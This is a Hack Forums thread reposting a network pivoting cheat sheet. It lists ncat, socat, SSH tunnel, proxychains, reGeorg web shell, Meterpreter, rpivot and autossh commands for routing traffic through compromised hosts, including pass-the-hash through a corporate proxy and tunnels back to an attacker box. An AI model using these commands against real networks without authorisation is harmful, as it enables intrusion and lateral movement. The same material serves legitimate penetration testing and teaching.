

Forum:[Hack Forums](#)

Thread: [Network Pivoting](#)

[BLANK] - December 18, 2017, 9:54 am

Not my work, but this is a great resource for network pivoting. I strong recommend reading the references.

Network Pivoting Techniques

Netcat - Pivot Host

Code `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`Socat - Pivot Host

Code `socat -v tcp-listen:8080 tcp-listen:9090`Remote host 1

We connect to the first side of the listen->listen trigger and send the file as input.

Code `ncat localhost 8080 < file`Remote host 2

We connect to the second side of the listen->listen trigger and write the output to disk.

Code `ncat localhost 9090 > newfile`Listen - Connect

Netcat - Pivot Host

Code `ncat -l -v -p 8080 -c "ncat localhost 9090"`Socat - Pivot Host

Code `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090`Remote host 1

We connect to the listen side of the listen->connect trigger and send file as input.

Code `ncat localhost -p 8080 < file`Remote host 2

We wait and listen for the connect from the listen->connect trigger and write the file to disk.

Code `ncat -l -p 9090 > newfile`Connect - Connect

Netcat - Pivot Host

Remote host listeners must be bound first.

Code `ncat localhost 8080 -c "ncat localhost 9090"`Socat - Pivot Host

Remote host listeners must be bound first.

Code `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090`Remote Host 1

We bind and listen to port 8080 and send the file as input.

Code `ncat -l -p 8080 < file`Remote Host 2

We bind and listen to port 9090 and write the data to disk.

Code `ncat -l -p 9090 > newfile`[SSH Tunnels](#)

Dynamic SOCKS Proxy

This can be used with proxychains to forward client traffic through the remote server.

Code `ssh -D8080 [user]@[host]`Local Port Forwarding

This will bind to [bindaddr]:[port] on the client and forward through the SSH server to the [dsthost]:[dstport]

Code `ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]`Remote Port Forwarding

This will bind to [bindaddr]:[port] on the remote server and tunnel traffic through the ssh client side to [localhost]:[localport]

Code `ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]`Establish VPN over SSH The following options must be enabled on the server side.

Code `PermitRootLogin yes`

PermitTunnel yesCode `ssh [user]@[host] -w any:any`You can see the established tun interface by typing

Code `ifconfig -a`The interfaces and forwarding must still be configured. This assumes that we are going to forward 10.0.0.0/24 through the remote server. We are also assuming that the server's main connection is through

Code `eth0`, and both client/server stood up `tun0`. This may be different if you already have existing

VPN connections.

Client

```
Code ip addr add 192.168.5.2/32 peer 192.168.5.1 dev tun0
```

Once Server is setup, run the following to add routes

```
route add -net 10.0.0.0/24 gw 192.168.5.1Server
```

```
Code ip addr add 192.168.5.1/32 peer 192.168.5.2 dev tun0
```

```
sysctl -w net.ipv4.ip_forward=1
```

```
iptables -t nat -A POSTROUTING -s 192.168.5.1 -o eth0 -j MASQUERADEProxychains
```

The configuration file in

Code /etc/proxychains.conf must be edited to point towards your SOCKS proxy. Typically this is done with an SSH or other type of tunnel. Make sure your ports match.

Code [ProxyList]

socks4 localhost 8080Now, in order to run any type of network through the proxy just run it like so. Remember, you can't run any raw socket scans through a SOCKS4 proxy. You need to setup an SSH VPN tunnel or something similar for that type of functionality.

Code proxychains nmap 192.168.5.6Web Shell SOCKSProxy (reGeorg)

[reGeorg](#) is a fantastic tool for using SOCKS proxies through a compromised web server. The delivery mechanism can be aspx,asph,jsp, or php. Simply upload the desired file to the webserver.

Code python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jspYou are now free to use your regular tools using proxychains.

Meterpreter

[Meterpreter](#) allows you to create pivoting routes within the framework for use with any of the builtin modules. To automatically route, just use the following.

```
Code run autoroute -s 192.168.5.1/24To print routes
```

```
Code run autoroute -pMeterpreter - SOCKS Proxy
```

Now you can run other tools through Meterpreter using proxychains.

```
Code use auxiliary/server/socks4a
```

```
set SRVPORT 8080
```

```
runForward single ports
```

Below will forward rdesktop sessions from localhost port 3389 to the target 192.168.5.9 through Meterpreter as a tunnel.

```
Code portfwd add -L 127.0.0.1 -l 3389 -r 192.168.5.9 -p 3389Rpivot
```

[Rpivot](#) is a great SOCKS proxy based pivot tool that works like SSH's dynamic proxy

Code -D option, but it works in the reverse order.

Server (Attacker box)

Code python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0Client (Compromised box)

Code python client.py --server-ip <ip> --server-port 9443The Server will now have a SOCKS proxy on port 1080 that will forward traffic through the [client].

Through corporate proxy

Rpivot also works through corporate proxies.

```
Code python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
```

```
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3ePassing the hash
```

If you prefer passing the hash, then you're also in luck.

```
Code python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
```

```
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
```

```
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```

AutoSSH

[AutoSSH](#) is a tool that allows you to automatically restart SSH sessions and tunnels. The following line will open port 2222 on host attacker and tunnel it to the compromised host on port 22. You would then be able to setup a dynamic SSH SOCKS proxy and connect to localhost:2222 and be able to forward through the compromised host as normal.

```
Code autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -L 2222:localhost:22
```

[evil]@[attacker]References

<https://artkond.com/2017/03/23/pivoting-guide/>

<https://github.com/rofl0r/proxychains-ng>

<https://github.com/artkond/rpivot>

<https://github.com/sensepost/reGeorg>

<https://metasploit.com/>

CyberStrike - December 18, 2017, 11:04 am

Awesome writeup, not often is pivoting discussed here, but it is an important subject especially when getting a toe hold and moving through network segments. I hope everyone here reads this and takes away some good lessons.